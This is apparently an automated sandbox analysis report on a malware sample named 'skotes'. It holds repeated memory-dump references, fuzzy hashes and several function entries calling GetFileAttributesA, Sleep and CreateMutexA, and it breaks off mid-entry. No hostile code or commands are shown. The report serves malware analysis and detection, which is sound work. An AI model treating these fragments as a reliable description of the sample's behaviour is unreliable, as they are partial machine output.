Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 43189e43f28a516a4c55242f462e965edc6f9e54d1061c4f4f5bab234b3f75d5
Instruction ID: 638b992c43ad276301f8594e99e5eea5b315dff0496d8244a4606b50e6aa300e
Opcode Fuzzy Hash: 43189e43f28a516a4c55242f462e965edc6f9e54d1061c4f4f5bab234b3f75d5
Instruction Fuzzy Hash: 983143316002448BEF08DBA8D88DBADB662EFA1318F20861CE015A73D4C735D9808751

Function 001C9F44 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 137
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001C9F47
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 435088d2379e379b9be123f188c9719c95281cc686a111fbe98bf896403f698c
Instruction ID: 8778b15974b953798be26096085c0246f7c61983bf90292ed27cebbad0653d62
Opcode Fuzzy Hash: 435088d2379e379b9be123f188c9719c95281cc686a111fbe98bf896403f698c
Instruction Fuzzy Hash: BD3137316002089BEB189BB8D899BADBB62EFE6318F20871DE414E73D1C735D9808752

Function 001CA079 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 136
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA07C
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: f992e2f19b7ba45d78d58f84df27a9fd411a41a9f972df01c285bedd019b6972
Instruction ID: 511a31a4ba73b464b1b87f0a60fe42deec0d6b213681d56fe04841d375d57104
Opcode Fuzzy Hash: f992e2f19b7ba45d78d58f84df27a9fd411a41a9f972df01c285bedd019b6972
Instruction Fuzzy Hash: 5C3146317002089BEB09DBB8DD99FADB772DFE1318F64861DE414A73D1C736D9808652

Function 001CA1AE Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 135sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA1B1
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: d2d9b3ec3fc26847886079d6f1131bc9f8c8924dbf0f8e07d32c8d8dd88abe0c
Instruction ID: 5a7a73dbdda1602fda97c5c177e75929d1ddf2d57fbbd4e051caf51ef50ad3fa
Opcode Fuzzy Hash: d2d9b3ec3fc26847886079d6f1131bc9f8c8924dbf0f8e07d32c8d8dd88abe0c
Instruction Fuzzy Hash: F0314A317002089BEB09DBB8DD99FADB772EFE5318F64861DE014A73D1C735D9808652

Function 001CA2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA2E6
Sleep.KERNELBASE(00000064,?), ref: 001CA963
CreateMutexA.KERNELBASE(00000000,00000000,00223254), ref: 001CA981

Strings

T2", xrefs: 001CA970

Memory Dump Source

Source File: 00000008.00000002.2932125669.00000000001C1000.00000040.00000001.01000000.0000000A.sdmp, Offset: 001C0000, based on PE: true

Associated: 00000008.00000002.2932079748.00000000001C0000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932125669.0000000000222000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932291325.0000000000229000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932350023.000000000022B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932413540.0000000000237000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932671062.000000000038F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932725022.0000000000391000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932788547.00000000003A6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932844782.00000000003A7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003AA000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2932903984.00000000003B1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933003519.00000000003BD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933049221.00000000003BE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933094595.00000000003C5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933140136.00000000003C6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933185538.00000000003CD000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933215454.00000000003CE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933264252.00000000003D1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933293697.00000000003D3000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933336324.00000000003E4000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933375479.00000000003E5000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933405048.00000000003ED000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933449885.00000000003F8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933495748.0000000000412000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933538345.0000000000413000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933565252.000000000041B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933594278.0000000000421000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933643776.0000000000422000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933689276.0000000000424000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933713668.0000000000425000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933756803.0000000000428000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933904845.0000000000431000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2933983343.0000000000433000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934064992.0000000000434000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934118597.0000000000437000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934230948.0000000000438000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934327920.000000000043E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934608631.0000000000446000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934672320.000000000044A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934724010.000000000044B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934774022.000000000044C000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934816207.000000000044D000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934857075.0000000000453000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934903092.0000000000462000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2934946370.0000000000463000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935014549.0000000000484000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935041176.0000000000491000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935156532.00000000004C0000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935205079.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935232779.00000000004C2000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935273490.00000000004C7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935316440.00000000004C9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935367932.00000000004D7000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000008.00000002.2935395225.00000000004D8000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_8_2_1c0000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2"
API String ID: 396266464-2900642539
Opcode ID: 2f0fb175c5e54df7b9f074bd253bd579ef038d151e236f8598fcbf77f0f16f0d
Instruction ID: 218a09bac47c51a0a4758b1431df66eedfe78ca944ff496f65cf427997dc25c0
Opcode Fuzzy Hash: 2f0fb175c5e54df7b9f074bd253bd579ef038d151e236f8598fcbf77f0f16f0d
Instruction Fuzzy Hash: A73146316002489BEB19DB78DD99BADBB72EFE131CF60861CE414A73D5C736D9808752

Function 001CA418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 001CA41B
